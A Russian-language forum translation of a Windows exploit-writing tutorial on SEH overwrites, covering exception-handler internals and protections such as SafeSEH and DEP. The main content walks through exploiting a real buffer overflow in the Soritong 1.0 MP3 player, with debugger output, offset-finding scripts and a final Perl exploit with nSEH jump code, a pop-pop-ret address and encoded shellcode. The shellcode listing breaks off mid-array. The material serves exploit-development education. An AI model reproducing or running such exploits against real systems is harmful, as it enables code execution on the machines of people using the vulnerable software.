R0 CREW

Exploit Writing Tutorial Part 3: SEH Based Exploits (Перевод: p(eaz, RDot.org)

ru
#1

Перейти к содержанию

В первых двух частях данного руководства, мы обсудили, как происходят классические переполнения буфера в стеке, и каким образом можно создать надежный эксплойт с использованием различных методик перехода к шеллкоду. Пример, который мы использовали, позволил нам перезаписать EIP, и у нас было достаточно места в буфере для размещения шеллкода. Вдобавок ко всему, у нас была возможность использовать множество методик перехода, чтобы достигнуть нашей конечной цели. Но не все переполнения так просты в эксплуатации.

Сегодня, мы рассмотрим другую методику, позволяющую эксплуатировать уязвимость, с использованием обработчиков исключений (exception handlers).

Что такое обработчик исключений?

Обработчик исключений - это часть кода, которая находится в приложении для обработки особых ситуаций (исключений) с которыми данное приложение может столкнуться во время работы. Типичная обработка исключений выглядит следующим образом:

try
{
// выполниться, если происходит исключение, и перейдет к <catch>
}
catch
{
//выполняется когда происходит исключение
}

Так взаимосвязаны try и catch в стеке:

В Windows SEH (Structured Exception Handler - Структурированный Обработчик Исключений) встроен по умолчанию. Если Windows перехватывает исключение, то мы увидим примерно следующее всплывающее сообщение: “xxx столкнулся с проблемой и должен закрыться”. Это является результатом обработчика. Очевидно, для того, чтобы писать стабильное программное обеспечение, необходимо использовать языки программирования, которые включают встроенный обработчик, а не полагаться на стандартный обработчик Windows. Если программа не использует обработчик исключений, или когда доступные обработчики не смогут обработать исключение, то будет использоваться Windows SEH (UnhandledExceptionFilter). Таким образом, в случае ошибки или запрещенной инструкции, приложение получит шанс их удачно обработать, и не завершиться аварийно. В большинстве случаев Windows SEH выдаст сообщение об исключении и предложит послать отчет о случившемся в Microsoft.

У приложения, для того, чтобы быть в состоянии перейти к коду исключения (блок catch), указатель на код обработчика особых ситуаций сохраняется в стеке (для каждого блока кода). У каждого из блоков кода есть своя область в стеке, так называемый SEH-frame, и в каждой из них храниться указатель на обработчик каждого из блоков кода. Информация о всех фреймах хранится в стеке в структуре exception_registration.

Эта структура (также называемая SEH-record) составляет 8 байтов и имеет 2 (4-байтовых) элемента:

  • указатель на следующую структуру exception_registration (в основном, на следующую SEH-запись, в случае, если текущий обработчик неспособен обработать исключение)
  • адрес фактического кода обработчика особых ситуаций. (SE-обработчик)

Простое представление стека относительно цепных компонентов SEH:

Поверх главного блока данных (блок данных “главной” функции приложения, или TEB/TIB - блок информации потока) помещен указатель на вершину SEH-цепочки. Эту SEH-цепочку также часто называют FS:[0]-цепочкой.

Таким образом, на машинах Intel, взглянув на дизассемблированный код SEH, мы увидим инструкцию, перемещающую DWORD ptr из FS:[0]. Это гарантирует, что обработчик исключений установлен для потока и будет в состоянии захватить ошибки, когда они в нём произойдут. Код операции для этой инструкции 64A100000000. Если вы не можете найти этот опкод, возможно, что у приложения/потока вообще нет обработки исключений.

Для построения подобной функциональной блок-схемы, вы можете использовать плагин к OllyDBG под названием OllyGraph.

Небольшой пример: скомпилируйте следующий исходный код (sehtest.exe) и загрузите полученную программу в WinDbg (без запуска).

#include<stdio.h>
#include<string.h>
#include<windows.h>

int ExceptionHandler(void);
int main(int argc,char *argv[]){

char temp[512];

printf("Application launched");

 __try {

 * *strcpy(temp,argv[1]);

 * *} __except ( ExceptionHandler() ){
}
return 0;
}
int ExceptionHandler(void){
printf("Exception");
return 0;
}

Обратите внимание на загруженные модули:

Приложение находится между 00400000 и 0040c000

Найдем в этой области код операции 64 A1:

Это доказывает то, что обработчик исключений зарегистрирован. Сделаем дамп TEB:

Указатель указывает на 0x0012fd0c (начало SEH-цепи). Взглянув на эту область, мы увидим:

ff ff ff ff указывает на конец SEH-цепи. Это нормально, т.к. приложение еще не начало выполняться (Windbg все еще приостановлен).

Если у вас имеется установленный плагин Ollygraph, вы можете открыть выполняемую программу в ollydbg и построить граф, который укажет, установлен ли обработчик исключений или нет:

Когда мы начнем выполнение приложение (F5 или ‘g’), мы увидим следующее:

Для главной функции теперь установлен TEB. SEH-цепочка в точке главной функции по адресу 0x0012ff60, сделав дамп по которому, мы видим обработчик исключений, и его начальный адрес 0x0012ffb0

В OllyDbg всё более упрощенно, и выглядит примерно так:

Здесь мы можем видеть функцию обработчика - ExceptionHandler ().

Из примера выше, вы могли убедиться в том, что обработчики исключений, соединены/связаны друг с другом, формируя цепочку в виде связанного списка в стеке, и находятся на его дне. Когда происходит исключение, Windows ntdll.dll приостанавливает процесс, отыскивает начало SEH-цепочки (находится в начале TEB/TIB), проходит по списку обработчиков, и пытается найти подходящий для возникшей ситуации. Если подходящий из обработчиков не будет найден, то по умолчанию буде задействован обработчик Windows ( находится внизу стека, после FFFFFFFF).

Узнать больше о SEH вы можете в превосходной статье Matt Pietrek 1997 года, по адресу: http://www.microsoft.com/msj/0197/exception/exception.aspx

Новшества в Windows XP SP1 относительно SEH, и воздействие GS/DEP/SafeSEH и других механизмов защиты на создание эксплойтов.

XOR

Для того, чтобы создать эксплойт, основанный на перезаписи SEH, мы должны знать различия между Windows XP pre-SP1 и SP1. Начиная с Windows XP SP1, прежде, чем вызовется обработчик исключений, все регистры XOR’ятся друг с другом для обнуления, что усложняет создания эксплойта. Это означает, что один или более регистров могут указывать на вашу полезную нагрузку при первом случайном исключении, но когда обработка исключения завершится, эти регистры обнуляются. Таким образом, вы не сможете обратиться к ним непосредственно, чтобы выполнить шеллкод. Мы поговорим об этом позже.

DEP & Stack Cookies

Вдобавок ко всему, в Windows XP SP2 и Windows 2003 были введены Stack Cookies (указывается через опцию компилятора C++) и DEP (Data Execution Prevention - Предотвращение Выполнения Данных). Эти две технологии очень сильно усложняют создание работоспособного эксплойта.

SafeSEH

Дополнительная защита, которая была добавлена к компиляторам, помогая останавливать неправильные обращения, пытающиеся перезаписать SEH. Этот механизм защиты является активным для всех модулей, которые откомпилированы с флагом /safeSEH.

Windows 2003

В серверной Windows 2003 было добавлено много различных защитных механизмов. Мы не будем обсуждать эти механизмы в этой части руководства, т.к. они покажуться на данный момент слишком сложными. Но как только вы овладеете материалом данной части, вы будете готовы перейти и к остальным механизмам защиты, которые будут описаны в следующих частях руководства.

XOR, SafeSEH… но как тогда использовать SEH, чтобы перейти к шеллкоду?

Существуют пути обхода таких защит, как XOR 0?00000000 и SafeSEH. Но так как мы не можем просто перейти к регистру (потому что регистры – xor’ены), нам необходимо будет обратиться к вызову последовательности команд из dll.

Вы должны избегать использования вызовов определенных dll из памяти ОС, и стараться использовать адреса dll приложения, предполагая, что эта/и dll не откомпилированы с флагом safeSEH. Таким образом, адреса будут почти всегда одинаковы, независимо от версии OS. Но если такой возможности не будет, то имеет смысл поискать адреса необходимых операций в системных библиотеках dll, которые не защищены safeseh.

Суть методики заключается в следующем: если мы можем перезаписать указатель на обработчик SE, который используется, для обработки определенного исключения, и мы можем заставить приложение выдать другое исключение (поддельное), то таким образом можно заставить приложение перейти к нашему шеллкоду, а не к реальной функции обработчика исключений. Последовательность команд, которые вызовут это, является POP POP RET. ОС поймет, что подпрограмма обработки исключений была выполнена и будет двигаться дальше, к следующему SEH (или к концу SEH-цепочки). Подставная команда должна искаться в загруженной dll или exe, но не в стеке.

Заметки на полях: к Ollydbg существует плагин под названием OllySSEH, который просматривает процесс на наличие загружаемых модулей, и укажет, были ли они откомпилированы с SafeSEH или нет. Важно найти dll’s и использовать POP/POP/RET адрес из модуля, который не откомпилирован с SafeSEH

Обычно, указатель на следующую SEH запись содержит её адрес. Поэтому, мы должны перезаписать её маленьким jump-кодом к шеллкоду (который должен находиться в буфере после перезаписанного SE-обработчика). POP, POP, RET последовательность проверит, что этот код выполнится.

Другими словами, полезная нагрузка должна произвести следующие действия:

  • вызвать исключение* перезаписать указатель на следующий SEH-блок jump-кодом, который перейдет к шеллкоду* перезаписать SE-обработчик указателем на команду, которая выполнит поддельное исключение* ? шеллкод должен находиться непосредственно после перезаписанного обработчика SE. Маленький jump-код, содержавшийся в перезаписанном “указателе на следующий отчет SEH”, перейдет к нему

Типичная полезная нагрузка будет выглядеть примерно так:

[Junk][nSEH][SEH][Nop-Shellcode]

Где nSEH - переход к шеллкоду, и SEH – указатель на pop, pop, ret.

Перед описанием создания эксплойта мы взглянем на то, как Ollydbg и windbg могут помочь исследовать SEH обработчик, и помочь вам с созданием правильной полезной нагрузки.

Для испытаний в этой части руководства, мы используем программу с уязвимостью, опубликованной 20-ого июля 2009.

Наблюдаем за SEH в действии, через Ollydbg

При обычном переполнении буфера в стеке, мы перезаписываем адрес возврата (EIP) и заставляем приложение перейти к шеллкоду. Осуществляя переполнение в SEH, мы также перезаписываем стек после перезаписывания EIP, и таким образом мы сможем перезаписать стандартный обработчик исключения. Как это позволит нам эксплуатировать уязвимость, станет скоро более понятным.

Давайте воспользуемся уязвимостью в MP3-плейере Soritong 1.0, обнародованной 20-ого июля 2009.

Скачать его можно здесь: http://www.softpedia.com/get/Multimedia/Audio/Audio-Players/Soritong.shtml

Уязвимость возникает в файле обложки, и может вызвать переполнение. Мы воспользуемся следующим perl-скриптом для того, чтобы создать файл под названием UI.txt в папке skin\default:

#!usr/bin/perl
$uitxt = "ui.txt";

my $junk = "A" x 5000 ; 

open(myfile,">$uitxt") ;
print myfile $junk;

Теперь запустим soritong. Программа падает (вероятно, из-за обработчика исключений, которому не удалось найти адрес подходящего SEH (потому что он был перезаписан).

Мы будем работать с Ollydbg, чтобы явно показать стек и SEH-цепочку. Запустите Ollydbg и откройте в нем soritong.exe . Нажмите кнопку “play”, чтобы запустить выполнение программы. Вскоре после запуска, программа падает и останавливается в таком положении:

Приложение завершилось в 0x0042E33. В этой точке стек находится в 0x0012DA14. У основания стека (в 0012DA6C), мы видим FFFFFFFF, который указывает на конец SEH-цепи. Чуть ниже 0x0012DA14 мы видим 7E41882A, который является адресом стандартного SE-обработчика для этого приложения. Этот адрес находится в адресном пространстве user32.dll.

Несколько строк выше в стеке, мы можем видеть адреса других обработчиков исключений, но все они принадлежат ОС (ntdll в данном случае). Похоже, что программа (или по крайней мере функция, которая вызвали исключение) не имеет собственного обработчика.

Если мы посмотрим на потоки (View - Threads) и выбрав первый поток (который указывает на начало программы), щелкнем правой кнопкой мыши и выберем ‘dump thread data block’, мы увидим указатель на SEH-цепочку:

Значит, что обработчик исключения работает. Мы вызвали исключение (создав модифицированный ui.txt файл), и программа перешла к SEH-цепочке (по адресу 0x0012DF64).

Откройте меню отладчика "View – SEH chain”

Адрес обработчика SE указывает на местоположение, где находиться код, который нужно выполнить, чтобы возникло исключение.

Обработчик SE был перезаписан четырьмя «A». Когда исключение будет обработано, EIP будет перезаписан адресом SE-обработчика. Так как мы можем управлять значением в обработчике, то нам по силам сделать так, чтобы он выполнил наш собственный код.

Наблюдаем за SEH в действии, через Windbg

Теперь повторим наблюдение с применением Windbg. Закройте Ollydbg, запустите windbg и откройте soritong.exe.

Отладчик сначала приостанавливается (он помещает контрольную точку прежде, чем выполнить программу). Запускаем выполнение программы командой «g» (go), либо нажатием F5.

Запускаем поток выполнения, и вскоре он приостанавливается. Windbg сообщает нам “ first change exception”. Это означает, что windbg заметил, что было вызвано исключение, и даже прежде, чем исключение могло быть обработано программой, windbg остановил прикладной поток:

Сообщение “ This exception may be expected and handled”.

Cмотрим на стек:

ffffffff указывает конец SEH- цепи. Если мы выполним команду !analyze -v, мы получим следующее:

FAULTING_IP:
SoriTong!TmC13_5+3ea3
00422e33 8810            mov     byte ptr [eax],dl

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 00422e33 (SoriTong!TmC13_5+0x00003ea3)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000001
   Parameter[1]: 00130000
Attempt to write to address 00130000

FAULTING_THREAD:  00000a4c

PROCESS_NAME:  SoriTong.exe

ADDITIONAL_DEBUG_TEXT:
Use '!findthebuild' command to search for the target build information.
If the build information is available, run '!findthebuild -s ; .reload' to set symbol path and load symbols.

FAULTING_MODULE: 7c900000 ntdll

DEBUG_FLR_IMAGE_TIMESTAMP:  37dee000

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at "0x%08lx" referenced memory at "0x%08lx". The memory could not be "%s".

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at "0x%08lx" referenced memory at "0x%08lx". The memory could not be "%s".

EXCEPTION_PARAMETER1:  00000001

EXCEPTION_PARAMETER2:  00130000

WRITE_ADDRESS:  00130000 

FOLLOWUP_IP:
SoriTong!TmC13_5+3ea3
00422e33 8810            mov     byte ptr [eax],dl

BUGCHECK_STR:  APPLICATION_FAULT_INVALID_POINTER_WRITE_WRONG_SYMBOLS

PRIMARY_PROBLEM_CLASS:  INVALID_POINTER_WRITE

DEFAULT_BUCKET_ID:  INVALID_POINTER_WRITE

IP_MODULE_UNLOADED:
ud+41414140
41414141 ??              ???

LAST_CONTROL_TRANSFER:  from 41414141 to 00422e33

STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be wrong.
0012fd38 41414141 41414141 41414141 41414141 SoriTong!TmC13_5+0x3ea3
0012fd3c 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140
0012fd40 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140
0012fd44 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140
0012fd48 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140
0012fd4c 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140
0012fd50 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140
0012fd54 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140

 . . . (removed some of the lines)

0012ffb8 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140
0012ffbc 

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  SoriTong!TmC13_5+3ea3

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: SoriTong

IMAGE_NAME:  SoriTong.exe

STACK_COMMAND:  ~0s ; kb

BUCKET_ID:  WRONG_SYMBOLS

FAILURE_BUCKET_ID:  INVALID_POINTER_WRITE_c0000005_SoriTong.exe!TmC13_5

Followup: MachineOwner

Отчет исключения указывает на ffffffff. Это означает, что приложение не использовало обработчик исключения для этого переполнения (и поэтому использовался стандартный обработчик ОС).

Если сделать дамп TEB после того, как произошло исключение, мы увидм:

=> указатель на SEH-цепь, в 0x0012FD64.
Та область теперь перезаписана «A»:

Цепочка исключений сообщит:

=>, таким образом мы перезаписали обработчик исключения. Теперь позволим приложению ловить исключение (нажимаем F5 в отладчике) и смотрим, что произойдет:

eip указывает на 41414141, и это означает, что мы можем им управлять.

!exchain теперь сообщает:

Microsoft выпустила для windbg расширение называнное !exploitable. Загрузите его, и поместите dll файл в папку программы windbg, в подпапку winext.

Этот модуль поможет определить, может ли крах/исключение/нарушении_доступа в приложении быть пригодным для эксплуатации или нет. Применив этот модуль к Soritong, прямо после того, как произошло первое исключение, мы увидим:

После прохождения исключения, мы увидим:

Отличнейший модуль.

Можно ли использовать адрес шеллкода, который находится в регистрах, чтобы перейти к нему?

Да и нет. До выхода XP SP1, вы могли бы обращаться к таким регистрам, чтобы выполнить шеллкод, но начиная с SP1, был реализован механизм защищающий от этого. Прежде, чем обработчик исключения возьмет на себя управление, все регистры xor’ятся друг с другом, таким образом они все указывают на 0?00000000.

Преимущества эксплойтов, основанных на SEH, перед эксплойтами переполнения буфера основанных на RET (указатель на EIP).

При типичном RET переполнении, мы перезаписываем EIP и заставляем его перейти на шеллкод. Эта техника хороша, но может вызвать проблемы в стабильности (если нет возможности найти jmp код в dll, или если нужны жестко заданные адреса). Ещё важно учитывать размер буфера, что является также недостатком данного метода.
Так что имеет смысл, каждый раз, когда вы обнаруживаете переполнение в стеке, с возможностью перезаписать EIP, пытаться перезаписать дно стека(Writing further down), с целью поразить SEH-цепочку. И т.к. вы перезаписали EIP (с мусором), будет автоматически вызвано исключение , преобразовывая ‘классический’ эксплойт в SEH-эксплойт.

Как мы можем эксплуатировать SEH- уязвимость?

Легко. В SEH-эксплойтах полезная junk-нагрузка сначала перезапишет адрес указателя nSEH, затем сам SE-обработчик(SE-Handler). И затем будет записан шеллкод.
Когда произойдет исключение, программа пойдет в SE-обработчик(handler). В SE-Handler мы помещаем данные на подставное второе исключение, таким образом программный поток идет в следующий указатель nSEH, который находиться до SE-Handledr’a, и был перезаписан прыжком к адресу на шеллкод, который находиться за SE-Handler’ом.

Конечно, шеллкод может быть справа от перезаписываемого SE-Handler’а… либо может быть некоторый дополнительный мусор в первых двух байтах…, важно проверить, что вы можете определить местонахождение шеллкода, и возможность к нему перейти.

Создание эксплойта – находим “next SEH” и смещение “SE Handler ”.

Мы должны найти смещение к следующему:

  • к месту, где мы перезапишем next SEH (переходом к шеллкоду);
  • к месту, где мы перезапишем текущий SE Handler (должно быть правее от “next SEH” . Мы должны перезаписать это чем-то, что вызовет поддельное исключение);
  • к шеллкоду.

Простой способ сделать это - заполнить полезную нагрузку уникальным шаблоном (metasploit нам сново в этом поможет), и затем найти эти три местоположения.

#!usr/bin/perl
my $junk="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac".
"6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2A".
"f3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9".
"Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak".
"6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A".
"n3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9".
"Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As".
"6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2A".
"v3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9".
"Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba".
"6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2B".
"d3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9".
"Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi".
"6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2B".
"l3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9".
"Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq".
"6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2B".
"t3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9".
"Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By".
"6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2C".
"b3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9".
"Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg".
"6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2C".
"j3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9".
"Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co";

open (myfile,">ui.txt");
print myfile $junk;

Запустите данный скрипт, и поместите полученный ui.txt файл в папку программы.

Запустите windbg, откройте soritong.exe. Запустите выполнение программы (F5). Отладчик поймает первое случайное исключение. Выполнение программы вновь остановиться, и чтобы не сбить состояние стека, продолжать процесс выполнения пока не следует. Взглянем на seh-цепь:

SEH handler был перезаписан на 41367441.

Переверните 41367441 (little endian) => 41 74 36 41, что является hex-представлением At6A нашего подставленного шаблона. Это соответствует смещению 588. Это означает:

  • SE Handler перезаписывается после 588 байтов;
  • Указатель на next SEH перезаписывается после 588-4 байтов = 584 байта. Это местоположение - 0x0012fd64 (!exchain это нам демонстрирует).

Мы знаем, что наш шеллкод находиться прямо после перезаписанного SE Handler’а. Таким образом, шеллкод должен быть помещен в 0012fd64+4bytes+4bytes

[Junk][next SEH][SEH][Shellcode]

(next SEH помещен в 0x0012fd64)

Цель: эксплойт вызывает исключение, идет в SEH, который вызовет другое исключение (pop pop ret). Это сделает переход потока назад к next SEH. Из "next SEH” перепрыгнуть через следующие несколько байтов, и попасть в область шеллкода. 6 байтов (или больше, если шеллкод мы начнем со связки NOP’ов).

Опкод для короткого перехода - eb, сопровождаемый расстоянием для перехода в байтах. Другими словами, короткий скачок в 6 байтов записывается опкодом eb 06. Этим мы заполним 2 байта, значит надо добавить ещё 2 NOP’а, чтобы заполнить 4-байтовое постранство. Таким образом, область next SEH должна быть перезаписана на 0xeb, 0?06,0?90,0?90

Насколько точна функция “pop,pop,ret” при работе в SEH-ориентированном эксплойте?

Когда происходит исключение, диспетчер исключения создает для него собственную область в стеке. Потом элементы из EH Handler’а заталкиваются в эту область (как часть вводной части функции). Одна из областей в EH структуре, это EstablisherFrame. Эта область указывает на адрес регистрационного отчета исключения (next SEH), который был помещен на стек программы. Этот же адрес также помещается в ESP+8, когда вызывается обработчик. Теперь, если мы перезаписываем обработчик адресом “pop,pop,ret”, то:

  • первый “pop” снимет 4 байта со стека;
  • второй “pop” снимет следующие 4 байта со стека;
  • “ret” снимет текущее значение с вершины ESP (= адрес next SEH, который был в ESP+8, но из-за 2 “pop” теперь находится наверху стека), и помещает его в EIP.
    Мы перезаписали next SEH некоторым jump-кодом (вместо адреса), таким образом код будет выполнен.

Фактически, next SEH можно рассмотреть как первую часть нашего шеллкода.

Создание эксплойта – объединяем все части.

После нахождения необходимых смещений, только нуждайтесь в адресе “поддельного исключения” (pop,pop,ret) прежде, чем мы сможем создать эксплойт.

Запустив Soritong в windbg, мы можем увидеть список подгруженных модулей:

Мы в большей мере заинтересованы в библиотеках dll самого приложения, поэтому давайте сперва поищем “pop,pop,ret” в этой dll. Используя findjmp.exe, мы можем изучить эту dll и поискать последовательность “pop,pop,ret” (или, например, “pop edi”)

Любой из нижеследующих адресов должен нам подойти, если он не будет содержать нулевые байты:

Возьмем, например, 0x1008de8. (Вы можете использовать любой из адресов)

Отметьте: для findjmp, нам следует указать регистр. В некоторых ситуациях может быть легче воспользоваться утилитой msfpescan из Metasploit (указав msfpescan название dll, с параметром-p, и выбираете любой из pop,pop,ret ). msfpescan не требует определения регистра, т.к. он просто перебирает все комбинации. Альтернативно вы можете использовать memdump, чтобы сделать дамп всей память процесса, сохранив его в файл, и затем воспользоваться msfpescan с параметром “-M <папка с файлом дампа> -p”, чтобы найти все комбинации pop,pop,ret в памяти.

Структура полезной нагрузки эксплойта должна выглядеть примерно так:

Фактически, структура типичных SEH-эксплойтов будет похожа на эту:

Чтобы определить местонахождение шеллкода (который должен быть правее за SEH), вы можете заменить 4 байта в “next SEH” контрольными точками. Это позволит вам проверить регистры. Пример:

#!usr/bin/perl
my $junk = "A" x 584;

my $nextSEHoverwrite = "\xcc\xcc\xcc\xcc";  #контрольная точка

my $SEHoverwrite = pack('V',0x1001E812); #pop pop ret из player.dll

my $shellcode = "1ABCDEFGHIJKLM2ABCDEFGHIJKLM3ABCDEFGHIJKLM";

my $junk2   = "\x90" x 1000;

open(myfile,'>ui.txt');

print myfile $junk.$nextSEHoverwrite.$SEHoverwrite.$shellcode.$junk2;
(e1c.fbc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00130000 ebx=00000003 ecx=ffffff90 edx=00000090 esi=0017e504 edi=0012fd64
eip=00422e33 esp=0012da14 ebp=0012fd38 iopl=0 nv up ei ng nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010296
*** WARNING: Unable to verify checksum for SoriTong.exe
*** ERROR: Symbol file could not be found. Defaulted to export symbols for SoriTong.exe -
SoriTong!TmC13_5+0x3ea3:
00422e33 8810 mov byte ptr [eax],dl ds:0023:00130000=41

0:000> g
(e1c.fbc): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=00000000 ecx=1001e812 edx=7c9032bc esi=0012d72c edi=7c9032a8
eip=0012fd64 esp=0012d650 ebp=0012d664 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
<Unloaded_ud.drv>+0x12fd63:
0012fd64 cc int 3 

Так, после передачи первого исключения программа остановилось из-за контрольной точки в nSEH.

EIP в настоящее время указывает на первый байт в nSEH, таким образом, вы можете видеть шеллкод в ближайших 8 байтах (4 байта для nSEH, и 4 байта для SEH):

0:000> d eip
0012fd64  cc cc cc cc 12 e8 01 10-[COLOR="red"]31 41 42 43 44 45 46 47[/COLOR]  ........1ABCDEFG
0012fd74  [COLOR="red"]48 49 4a 4b 4c 4d 32 41-42 43 44 45 46 47 48 49[/COLOR]  HIJKLM2ABCDEFGHI
0012fd84  [COLOR="red"]4a 4b 4c 4d 33 41 42 43-44 45 46 47 48 49 4a 4b[/COLOR]  JKLM3ABCDEFGHIJK
0012fd94  [COLOR="red"]4c 4d[/COLOR] 90 90 90 90 90 90-90 90 90 90 90 90 90 90  LM..............
0012fda4  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0012fdb4  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0012fdc4  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0012fdd4  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................

Отлично, видим, что шеллкод начинается там, где мы и ожидали.

Теперь мы готовы создать эксплойт с реальным шеллкодом (и заменить контрольные точки в nSEH на jump-код)

#!usr/bin/perl
# Exploit for Soritong MP3 player
#
# Written by Peter Van Eeckhoutte
# http://www.corelan.be:8800
#
#

my $junk = "A" x 584;

my $nextSEHoverwrite = "\xeb\x06\x90\x90";  #прыжок на 6 байт

my $SEHoverwrite = pack('V',0x1001E812); #pop pop ret из player.dll

# win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
my $shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44".
"\x42\x30\x42\x50\x42\x30\x4b\x38\x45\x54\x4e\x33\x4b\x58\x4e\x37".
"\x45\x50\x4a\x47\x41\x30\x4f\x4e\x4b\x38\x4f\x44\x4a\x41\x4b\x48".
